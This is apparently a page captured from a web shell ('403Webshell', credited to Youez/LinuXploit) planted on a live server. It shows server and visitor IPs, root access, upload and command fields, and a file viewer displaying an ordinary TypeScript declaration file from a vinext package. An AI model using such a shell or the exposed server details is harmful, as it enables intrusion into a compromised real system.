403Webshell
Server IP : 159.203.156.69  /  Your IP : 216.73.217.172
Web Server : nginx/1.24.0
System : Linux main-ubuntu 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/tanviranik.com/node_modules/vinext/dist/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/tanviranik.com/node_modules/vinext/dist/utils/domain-locale.d.ts
import { NextI18nConfig } from "../config/next-config.js";

//#region src/utils/domain-locale.d.ts
type DomainLocale = NonNullable<NextI18nConfig["domains"]>[number];
declare function normalizeDomainHostname(hostname: string | null | undefined): string | undefined;
/**
 * Match a configured domain either by hostname or locale.
 * When both are provided, the checks intentionally use OR semantics so the
 * same helper can cover Next.js's hostname lookup and preferred-locale lookup.
 * If both are passed, the first domain matching either input wins, so callers
 * should pass hostname or detectedLocale, not both.
 */
declare function detectDomainLocale(domainItems?: readonly DomainLocale[], hostname?: string, detectedLocale?: string): DomainLocale | undefined;
declare function addLocalePrefix(path: string, locale: string, localeDefault: string): string;
declare function getDomainLocaleUrl(url: string, locale: string, {
  basePath,
  currentHostname,
  domainItems
}: {
  basePath?: string;
  currentHostname?: string | null;
  domainItems?: readonly DomainLocale[];
}): string | undefined;
//#endregion
export { DomainLocale, addLocalePrefix, detectDomainLocale, getDomainLocaleUrl, normalizeDomainHostname };
//# sourceMappingURL=domain-locale.d.ts.map

Youez - 2016 - github.com/yon3zu
LinuXploit